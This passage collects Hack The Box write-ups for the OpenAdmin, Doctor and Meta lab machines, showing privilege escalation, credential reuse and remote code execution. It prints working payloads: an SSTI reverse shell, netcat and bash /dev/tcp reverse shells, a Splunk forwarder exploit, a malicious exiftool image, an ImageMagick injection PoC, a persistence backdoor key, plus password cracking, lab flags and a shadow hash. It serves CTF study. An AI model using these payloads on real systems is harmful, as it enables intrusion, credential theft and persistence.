         wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
         sudo python3 -m http.server 80
         ```

         On Target:

         ```
         wget http://10.10.14.61/linpeas.sh
         chmod +x linpeas.sh
         ./linpeas.sh -a 2>&1 | tee linpeas_report.txt
         ```

         Info about `2>&1` and `tee`: <https://stackoverflow.com/questions/418896/how-to-redirect-output-to-a-file-and-stdout>

         Users Found:

         ```
         uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
         uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
         ```
   2. Switch from `www-data` to `jimmy`
      1. Search `/var/www/html` for `passwd`: `grep -lR passwd ./`

         ```
         ./ona/plugins/ona_nmap_scans/install.php
         ./ona/LinEnum.sh
         ./ona/include/functions_db.inc.php
         ./ona/.htaccess.example
         ./ona/report-09-05-20
         ./ona/local/config/database_settings.inc.php
         ./ona/winc/user_edit.inc.php
         ./ona/winc/tooltips.inc.php
         ```
      2. `cat ./ona/local/config/database_settings.inc.php`

         ```
         <?php
         $ona_contexts=array (
           'DEFAULT' => 
           array (
             'databases' => 
             array (
               0 => 
               array (
                 'db_type' => 'mysqli',
                 'db_host' => 'localhost',
                 'db_login' => 'ona_sys',
                 'db_passwd' => 'n1nj4W4rri0R!',
                 'db_database' => 'ona_default',
                 'db_debug' => false,
               ),
             ),
             'description' => 'Default data context',
             'context_color' => '#D3DBFF',
           ),
         );

         ?>
         ```

         Password: `n1nj4W4rri0R!`
   3. `jimmy` to `joanna`: `ssh jimmy@10.10.10.171` with password `n1nj4W4rri0R!` successful.
      1. Run LinPEAS again to find the following:

         ```
         [+] Interesting GROUP writable files (not in Home)
         [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
           Group internal:
         /var/www/internal                                                                                                                                                            
         /var/www/internal/main.php
         /var/www/internal/logout.php
         /var/www/internal/index.php
         [+] Finding 'username' string inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
         /var/www/internal/index.php:                  $_SESSION['username'] = 'jimmy';
         /var/www/internal/linpeas.sh:    for f in $tomcat; do grep "username=" $f 2>/dev/null | grep "password=" | sed "s,.*,${C}[1;31m&${C}[0m,"; done
         /var/www/internal/main.php://session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 

         [+] Looking for md5/sha1/sha256/sha512 hashes inside files (limit 50)
         /var/www/internal/index.php:'00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1'
         ```
      2. See if the files in this directory are an active site by listing `/etc/apache2/sites-enabled`. `cat internal.conf`:

         ```
         Listen 127.0.0.1:52846

         <VirtualHost 127.0.0.1:52846>
             ServerName internal.openadmin.htb
             DocumentRoot /var/www/internal

         <IfModule mpm_itk_module>
         AssignUserID joanna joanna
         </IfModule>

             ErrorLog ${APACHE_LOG_DIR}/error.log
             CustomLog ${APACHE_LOG_DIR}/access.log combined

         </VirtualHost>
         ```

         Result: The site is running on `localhost:52846` as joanna.
      3. Method 1
         1. `cat main.php`

            ```
            <?php session_start(); 
            //$_SESSION['username']="joanna";
            if (!isset($_SESSION['username'])) { header("Location: /index.php"); }; 
            # Open Admin Trusted
            # OpenAdmin
            $output = shell_exec('cat /home/joanna/.ssh/id_rsa');
            echo "<pre>$output</pre>";
            ?>
            <html>
            <h3>Don't forget your "ninja" password</h3>
            Click here to logout <a href="logout.php" tite = "Logout">Session
            </html>
            ```
         2. `cat index.php` includes:

            ```
            if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            ```

            Result: This file is not necessary since `main.php` can be accessed directly.
         3. `curl 127.0.0.1:52846/main.php` gives us:

            ```
            -----BEGIN RSA PRIVATE KEY-----
            Proc-Type: 4,ENCRYPTED
            DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

            kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
            ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
            ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
            6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
            ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
            y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
            9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
            piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
            /U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
            40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
            fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
            9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
            X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
            S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
            FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
            Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
            RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
            uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
            1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
            XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
            yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
            +4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
            qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
            z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
            K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
            -----END RSA PRIVATE KEY-----
            ```

            The key is encrypted so lets bruteforce with `johntheripper`
      4. Method 2
         1. Reverse shell in `/var/www/internal`
      5. `john` bruteforce RSA key:

         ```
         /usr/share/john/ssh2john.py key > hash
         sudo john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt
         ```

         Result: Key is `bloodninjas`
   4. `joanna` to `root`: `chmod 600 key` and `ssh joanna@10.10.10.171 -i key`
      1. `sudo -l`

         ```
         User joanna may run the following commands on openadmin:
         	(ALL) NOPASSWD: /bin/nano /opt/priv
         ```
      2. `cat user.txt`: **User Flag:** `c9b2cf07d40807e62af62660f0c81b5f`
      3. Search for nano on [GTFOBins](https://gtfobins.github.io/gtfobins/nano/)

         ```
         nano
         ^R^X
         reset; sh 1>&0 2>&0
         ```
      4. Switch to tty: `SHELL=/bin/bash script -q /dev/null`
      5. `cat /root/root.txt`: **Root Flag:** `2f907ed450b361b2c2bf4e8795d5b561`


# Doctor

1. `nmap -T4 -Pn -sC 10.10.10.209`.

   ```
   Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
   Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-02 09:27 EST
   Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
   Connect Scan Timing: About 2.45% done; ETC: 09:29 (0:01:20 remaining)
   Nmap scan report for 10.10.10.209
   Host is up (0.032s latency).
   Not shown: 997 filtered ports
   PORT     STATE SERVICE
   22/tcp   open  ssh
   | ssh-hostkey: 
   |   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
   |   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
   |_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
   80/tcp   open  http
   |_http-title: Doctor
   8089/tcp open  unknown
   | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
   | Not valid before: 2020-09-06T15:57:27
   |_Not valid after:  2023-09-06T15:57:27

   Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds
   ```
2. `https://10.10.10.209:8089` has http login functionality for the `/services` and `/servicesNS` endpoints.
3. I initially thought the website on port 80 was just a standard template but there is the text `Send us a message at info@doctors.htb`. Add `10.10.10.209 doctors.htb` to `/etc/hosts` to get a "Doctor Secure Messaging" page with a login.
4. Directory bruteforcing: `gobuster dir -u http://10.10.10.209 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt` and `gobuster dir -u https://10.10.10.209:8089 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --insecuressl`. The secure website produces the following:

   ```
   ===============================================================
   Gobuster v3.0.1
   by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
   ===============================================================
   [+] Url:            https://10.10.10.209:8089
   [+] Threads:        100
   [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
   [+] Status codes:   200,204,301,302,307,401,403
   [+] User Agent:     gobuster/3.0.1
   [+] Timeout:        10s
   ===============================================================
   2020/12/02 09:33:15 Starting gobuster
   ===============================================================
   /services (Status: 401)
   /v2 (Status: 200)
   /v1 (Status: 200)
   /v3 (Status: 200)
   /v4 (Status: 200)
   /v5 (Status: 200)
   /v6 (Status: 200)
   /v7 (Status: 200)
   /v8 (Status: 200)
   /v10 (Status: 200)
   /v11 (Status: 200)
   /v15 (Status: 200)
   /v0 (Status: 200)
   /v01 (Status: 200)
   /v52 (Status: 200)
   /v001 (Status: 200)
   /v23 (Status: 200)
   /v9 (Status: 200)
   /v14 (Status: 200)
   /v20 (Status: 200)
   /v05 (Status: 200)
   /v13 (Status: 200)
   /v12 (Status: 200)
   /v92 (Status: 200)
   /v003 (Status: 200)
   /v209 (Status: 200)
   ===============================================================
   2020/12/02 09:34:19 Finished
   ===============================================================
   ```
5. Searching online finds the following:

   * [Abusing Splunk Forwarders For Shells and Persistence](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)
   * [cnotin/SplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2)

   But I need the admin username and password to use them. `admin` is the username according to the first link.
6. Try brute-forcing Splunk login: `hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8089 -f 10.10.10.209 http-get /services`. Unsuccessful.
7. On the "Doctor Secure Messaging" page try directory brute-forcing: `gobuster dir -u http://doctors.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`.

   ```
   [+] Url:            http://doctors.htb
   [+] Threads:        100
   [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
   [+] Status codes:   200,204,301,302,307,401,403
   [+] User Agent:     gobuster/3.0.1
   [+] Timeout:        10s
   ===============================================================
   2020/12/02 10:07:32 Starting gobuster
   ===============================================================
   /account (Status: 302)
   /logout (Status: 302)
   /archive (Status: 200)
   /login (Status: 200)
   /register (Status: 200)
   /home (Status: 302)
   /reset_password (Status: 200)
   ===============================================================
   2020/12/02 10:12:18 Finished
   ===============================================================
   ```
8. Try creating an account on "Doctor Secure Messaging" and find comment `<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->`.
9. I tested various approaches with the message posting functionality including [Server Side Template Injection (SSTI) with Flask](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---basic-injection) since Wappalyzer informed me the web framework was Flask. I then decided to check `/archive` after creating a post. Creating a post with a title and content of `{{7*'7'}}` produces `7777777`, which shows this page is vulnerable to SSTI.
10. Post the following in the title and content using the "New Message" function then visit `/archive` to get a reverse shell:

    ```
    <div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.131\",3254));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'").read().zfill(417)}}</div></div>
    ```

    The above was obtained from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-popen-without-guessing-the-offset) and changed to call `/bin/bash` instead of `/bin/cat` to print a flag.

    The `/archive` page is vulnerable as explained [on this page](https://blog.nvisium.com/p263). `/archive` routing code:

    `cat /home/web/blog/flaskblog/main/routes.py`:

    ```python
    from flask import render_template, render_template_string, request, Blueprint
    from flask_login import current_user, login_required
    from flaskblog.models import Post

    main = Blueprint('main', __name__)


    @main.route("/")
    @main.route("/home")
    @login_required
    def home():
            page = request.args.get('page', 1, type=int)
            posts = Post.query.order_by(Post.date_posted.asc()).paginate(page=page, per_page=10)
            return render_template('home.html', posts=posts, author=current_user)


    @main.route("/archive")
    def feed():
            posts = Post.query.order_by(Post.date_posted.asc())
            tpl = '''
            <?xml version="1.0" encoding="UTF-8" ?>
            <rss version="2.0">
            <channel>
            <title>Archive</title>
            '''
            for post in posts:
                    if post.author==current_user:
                            tpl += "<item><title>"+post.title+"</title></item>\n"
                            tpl += '''
                            </channel>
                            '''
            return render_template_string(tpl)
    ```

    Also, shell injection works without the archive page: `<img src=http://10.10.14.131/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.131'$IFS'4444')/>`.
11. Linpeas (`./linpeas.sh -a 2>&1 | tee linpeas_report.txt`) finds backup file `/var/log/apache2/backup` with has this line in it: `/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"`. You can open [linpeas\_report\_web.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Doctor/linpeas_report_web.txt) with `less -R linpeas_report_web.txt`
12. Linpeas users:

    ```
    [+] Users with console
    root:x:0:0:root:/root:/bin/bash
    shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
    splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash
    web:x:1001:1001:,,,:/home/web:/bin/bash
    ```

    Trying `Guitar123` as the password for `shuan` works: `su shaun`.
13. Run `run persist.authorized_key user=shaun backdoor_key=/home/kali/Downloads/key` in local `pwntools` shell for persistance.
14. `cat /home/shaun/user.txt`: `da773977d514b6d63e3233dbb30961fd`.
15. Run `./linpeas.sh -a 2>&1 | tee linpeas_report.txt` and `download linepeas_report.txt`. You can open [linpeas\_report\_shaun.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Doctor/linpeas_report_shaun.txt) with `less -R linpeas_report_shaun.txt`.
16. Find `1|admin|admin@doctor.htb|default.gif|$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S` in `/opt/clean/site.db` so the "Doctor Secure Messaging" credentials are `admin@doctor.htb:$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S`
17. This is a bcrypt hash as shown by `/home/web/blog/flaskblog/users/routes.py`. Crack it (`$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S`) with `hashcat -m 3200 -a 0 -o cracked hash /usr/share/wordlists/rockyou.txt`. Cracking didn't work.
18. `cat /home/web/blog.sh` contains `SECRET_KEY=1234 SQLALCHEMY_DATABASE_URI=sqlite://///home/web/blog/flaskblog/site.db /usr/bin/python3 /home/web/blog/run.py`
19. CUPS running at `127.0.0.1:631`
20. Try splunk login `shaun:Guitar123` at `https://10.10.10.209:8089/services/` which works. Time to test the exploit I found earlier ([cnotin/SplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2)).
21. `git clone https://github.com/cnotin/SplunkWhisperer2` then `pwncat 0.0.0.0:4632` then run the exploit: `python3 PySplunkWhisperer2_remote.py --username shaun --password Guitar123 --lhost 10.10.14.131 --lport 46321 --host 10.10.10.209 --payload 'nc.traditional -e /bin/sh 10.10.14.131 4632'`.
22. Need to use `nc.traditional` or `nc [ServerAddress] [ServerPort] 0<f | /bin/sh -i 2>&1 | tee f` because according to [‘Neutered’ Netcat? No prob!](https://medium.com/@dharma.unik/neutered-netcat-no-prob-1ac188449d1). This is because netcat on Mac and OpenBSD netcat on Ubuntu have the `-e` switch disabled.
23. `cat /root/root.txt`: `006957ab28b0297079fdd8558031768e`
24. Root `/etc/shadow`:

    ```
    root:$6$384TbSO3bB1PWLT1$U8U.j.zBLXobhorPDxOMRZh4eE86lcn7C0dvqRvfJ9qDzreti8HDvXwFZccDat9/HJRNwu04ErVxo3mUwVbs5.:18512:0:99999:7:::
    ```


# Meta

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.140 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.140`.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://artcorp.htb
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

It looks like there is an Apache webserver running on port 80. Attempting to visit the website redirects us to `http://artcorp.htb`, so let's add that to `/etc/hosts`: `echo "10.10.11.140 artcorp.htb" | sudo tee -a /etc/hosts`.

Scan for UDP services with `sudo nmap -p- -sU -r -T5 10.10.11.140 -v` (`-r` specifies that ports will be scanned sequentially instead of randomly. we do this because services are more likely to be running on ports 1-1000.). This finds nothing.

### Virtual Host Scanning

Let's scan for virtual hosts (subdomains) with `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://artcorp.htb/ -H "Host: FUZZ.artcorp.htb" -fc 301`:

```
dev01                   [Status: 200, Size: 247, Words: 16, Lines: 10]
```

Let's add the new `dev01` subdomain to `/etc/hosts`: `echo "10.10.11.140 dev01.artcorp.htb" | sudo tee -a /etc/hosts`.

### Apache (Port `80`)

The website running on port 80 is very bare bone and the only significant information is this: "We are almost ready to launch our new product "MetaView". / The product is already in testing phase. / Stay tuned!"

### `dev01` Virtual Host

Navigating to `http://dev01.artcorp.htb/` shows a page with a link to `http://dev01.artcorp.htb/metaview/`.

Navigating to the `/metaview` page shows an image upload. Uploading a non-image file produces this message: "File not allowed (only jpg/png)."

Uploading a random `.jpg` image displays the following:

```
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 640
Image Height                    : 640
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
```

This looks exactly like the output from `exiftool`. Running `exiftool ./path/to/image.jpg` produces:

```
ExifTool Version Number         : 12.40
File Name                       : image.jpg
Directory                       : Downloads
File Size                       : 41 KiB
File Modification Date/Time     : 2022:02:26 18:56:18-05:00
File Access Date/Time           : 2022:02:26 18:56:21-05:00
File Inode Change Date/Time     : 2022:02:26 18:56:18-05:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 640
Image Height                    : 640
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 640x640
Megapixels                      : 0.410
```

Sure enough the outputs look similar, but not identical.

Searching for "exiftool rce" online finds the following:

* [GitHub Repo: OneSecCyber/JPEG\_RCE](https://github.com/OneSecCyber/JPEG_RCE)
* [GitHub Repo: CsEnox/Gitlab-Exiftool-RCE](https://github.com/CsEnox/Gitlab-Exiftool-RCE)
* [GitHub Repo: inspiringz/CVE-2021-22205](https://github.com/inspiringz/CVE-2021-22205)
* [GitHub Repo: convisolabs/CVE-2021-22204-exiftool](https://github.com/convisolabs/CVE-2021-22204-exiftool)
* [Original HackerOne Report](https://hackerone.com/reports/1154542)
* [A Random Description of the Vulnerability](https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/)
* [Original Writeup by Person who Found the Exploit in GitLab](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)

"Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file."

"ExifTool 7.44 to 12.23 has a bug in the DjVu module which allows for arbitrary code execution when parsing malicious images."

## Foothold

We will use the [OneSecCyber/JPEG\_RCE](https://github.com/OneSecCyber/JPEG_RCE) GitHub repo to exploit this vulnerability.

Let's follow the commands in the repo to create the malicious image:

```
git clone https://github.com/OneSecCyber/JPEG_RCE.git
cd JPEG_RCE
exiftool -config eval.config runme.jpg -eval='system("ls -la")'
```

Uploading the newly created `runme.jpg` image to the `dev01` subdomain produces the following output:

```
total 36
drwxr-xr-x 7 root www-data 4096 Aug 28 08:43 .
drwxr-xr-x 4 root root     4096 Oct 18 14:27 ..
drwxr-xr-x 2 root www-data 4096 Aug 28 08:39 assets
-rw-r--r-- 1 root www-data   72 Aug 28 08:39 composer.json
drwxr-xr-x 2 root www-data 4096 Aug 28 08:39 css
-rw-r--r-- 1 root www-data 2786 Aug 29 12:15 index.php
drwxr-xr-x 2 root www-data 4096 Aug 28 08:39 lib
drwxrwxr-x 2 root www-data 4096 Feb 26 19:10 uploads
drwxr-xr-x 3 root www-data 4096 Aug 28 08:39 vendor
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Copyright                       : 0
Image Width                     : 245
Image Height                    : 368
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
```

So, we have arbitrary command execution. Now, let's use a reverse shell payload instead. We will use the following reverse shell: `bash -i >& /dev/tcp/10.10.14.169/52427 0>&1`. We encode this to base64 to remove illegal characters with `echo -n "bash -i >& /dev/tcp/10.10.14.169/52427 0>&1" | base64` to get `YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNTI0MjcgMD4mMQ==`. So, start a listener with `pwncat` or netcat with `nc -nvlp 52427`. Then, create the malicious image with `exiftool -config eval.config runme.jpg -eval='system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNTI0MjcgMD4mMQ== | base64 -d | bash")'`.

Uploading this malicious file to the website get us a reverse shell as user `www-data`.

## Lateral Movement

The user with id `1000` is `thomas`. We can view his home directory with `ls -la /home/thomas/` to see the `user.txt` flag.

We upload LinPEAS and run it, but there is nothing obvious in the output. However, it is cool to see the number of nested processes we made in order to get a foothold on the box:

```
www-data  7965  0.0  0.6 197424 13964 ?        S    18:45   0:00  _ /usr/sbin/apache2 -k start
www-data  8613  0.0  0.0   2388   696 ?        S    19:21   0:00  |   _ sh -c exiftool '/var/www/dev01.artcorp.htb/metaview/uploads/phpztsAFU.jpg' --system:all --exiftool:all -e
www-data  8614  0.0  0.8  20480 17448 ?        S    19:21   0:00  |       _ /usr/bin/perl -w /usr/local/bin/exiftool /var/www/dev01.artcorp.htb/metaview/uploads/phpztsAFU.jpg --system:all --exiftool:all -e
www-data  8615  0.0  0.0   2388   692 ?        S    19:21   0:00  |           _ sh -c echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNTI0MjcgMD4mMQ== | base64 -d | bash
www-data  8618  0.0  0.1   3736  2800 ?        S    19:21   0:00  |               _ bash
www-data  8619  0.0  0.1   4000  3324 ?        S    19:21   0:00  |                   _ bash -i
www-data  8639  0.0  0.0   2592  1848 ?        S    19:21   0:00  |                       _ /usr/bin/script -qc /usr/bin/bash /dev/null
www-data  8640  0.0  0.0   2388   756 pts/11   Ss   19:21   0:00  |                           _ sh -c /usr/bin/bash
www-data  8642  0.0  0.1   4000  3188 pts/11   S    19:21   0:00  |                               _ /usr/bin/bash
www-data  8762  1.8  0.2   5752  5168 pts/11   S+   19:24   0:00  |                                   _ bash linpeas.sh
www-data 11484  0.0  0.1   5752  3844 pts/11   S+   19:24   0:00  |                                       _ bash linpeas.sh
www-data 11488  0.0  0.1   7960  3064 pts/11   R+   19:24   0:00  |                                       |   _ ps fauxwww
www-data 11487  0.0  0.1   5752  2380 pts/11   S+   19:24   0:00  |                                       _ bash linpeas.sh
```

Uploading and running [pspy](https://github.com/DominicBreuker/pspy) reveals that the following are run every minute:

```
2022/02/26 19:32:01 CMD: UID=1000 PID=21226  |
2022/02/26 19:32:01 CMD: UID=0    PID=21225  | /usr/sbin/CRON -f
2022/02/26 19:32:01 CMD: UID=0    PID=21224  | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf
2022/02/26 19:32:01 CMD: UID=0    PID=21223  | /usr/sbin/CRON -f
2022/02/26 19:32:01 CMD: UID=0    PID=21222  | /usr/sbin/CRON -f
2022/02/26 19:32:01 CMD: UID=0    PID=21221  | /usr/sbin/CRON -f
2022/02/26 19:32:01 CMD: UID=1000 PID=21228  | /bin/bash /usr/local/bin/convert_images.sh
2022/02/26 19:32:01 CMD: UID=0    PID=21227  | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf
2022/02/26 19:32:01 CMD: UID=1000 PID=21229  | /usr/local/bin/mogrify -format png *.*
2022/02/26 19:32:01 CMD: UID=1000 PID=21230  | /bin/bash /usr/local/bin/convert_images.sh
```

Let's check out the `/usr/local/bin/convert_images.sh` script.

```bash
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify
```

The script uses `pkill` without an absolute path so if we had write permissions to somewhere on the global `PATH` variable we could replace that command with our own script, but we do not have these write permissions.

Running `mogrify` produces a long help output with the version string at the top: `Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org`. Searching online for "imagemagick 7.0.10-36 exploit" finds [this page](https://www.cybersecurity-help.cz/vdb/SB2020121303) at the top of the results, which discusses [CVE-2020-29599](https://nvd.nist.gov/vuln/detail/CVE-2020-29599): "A flaw was found in ImageMagick. The -authenticate option is mishandled allowing user-controlled password set for a PDF file to possibly inject additional shell commands via coders/pdf.c. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability." This vulnerability works for "ImageMagick before 6.9.11-40 and 7.x before 7.0.10-40." We are running version `7.0.10-36`, which is before `7.0.10-40`, so this exploit should work.

Searching for "imagemagick XML injection," which is what this vulnerability is, finds [this news article on PortSwigger](https://portswigger.net/daily-swig/imagemagick-pdf-parsing-flaw-allowed-attacker-to-execute-shell-commands-via-maliciously-crafted-image) and [this blog post by the person who found the vulnerability](https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html). Additionally, searching for "CVE-2020-29599" on GitHub finds [coco0x0a/CVE-2020-29599](https://github.com/coco0x0a/CVE-2020-29599).

There is a proof of concept image on the vulnerability finder's website:

```xml
<image authenticate='ff" `echo $(id)> ./0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>
```

